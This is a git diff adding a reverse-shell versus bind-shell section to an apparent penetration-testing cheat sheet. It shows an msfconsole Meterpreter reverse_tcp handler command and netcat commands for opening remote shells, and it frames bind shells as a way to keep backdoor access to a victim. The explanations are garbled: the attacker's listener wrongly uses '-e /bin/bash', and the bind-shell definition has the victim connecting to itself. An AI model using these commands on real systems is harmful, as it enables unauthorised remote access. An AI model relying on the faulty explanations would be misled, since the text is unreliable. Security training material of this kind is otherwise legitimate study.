Update README.md

README.md

@@ -1773,6 +1773,28 @@ This is binded to the follow meterpreter listener
 msfconsole -x "use exploit/multi/handler;set payload windows/meterpreter/reverse_tcp;set LHOST <LHOST>;set LPORT <LPORT>;run;"
 ```
 
+# Reverse Shell VS Bind Shell
+What use and when? Typically we use the bind shell in two scenarios. The first is the one in which we already have the access to the machine and we want a persistent access or a backdoor on it. In order to do that we could set a service that binds that port at every boot of the machine. The second scenario is the one in which we are not in the same internal network of the machine and we can't reach our machine from the victim because, for example, we are reaching the victim through web access and to obtain a reverse shell we likely have to enable port forwarding on the router of our networking. In this scenario a bind shell could let the attacker conenct to the victim knowing only the external IP of the victim.
+
+## Reverse Shel
+Receiving a command line access to a remote machine, where the victim enstablish the connection to the attacker machine that is the listener.
+
+Once the reverse shell payload is executed on the victim machine, on the attacker the listener will be
+
+```bash
+nc -lvnp 4444 -e /bin/bash
+```
+
+Bind Shell
+Receiving a command line access to a remote machine, where the victim enstablish the connection to the victim machine that is the listener.
+
+Once the foothold is gained on the victim machine, It can be set up a listener that opens a shell at every connection. After the following conenction is made, we can obtain a shell access on the victim machine. This command is run from the attacker.
+
+```bash
+nc <REMOTE-IP> 4444
+```
+
+
 # Shell Stabilization
 Once we gain a shell, many times we don't have a fully interactive environment. We can use many tools to stabilize it.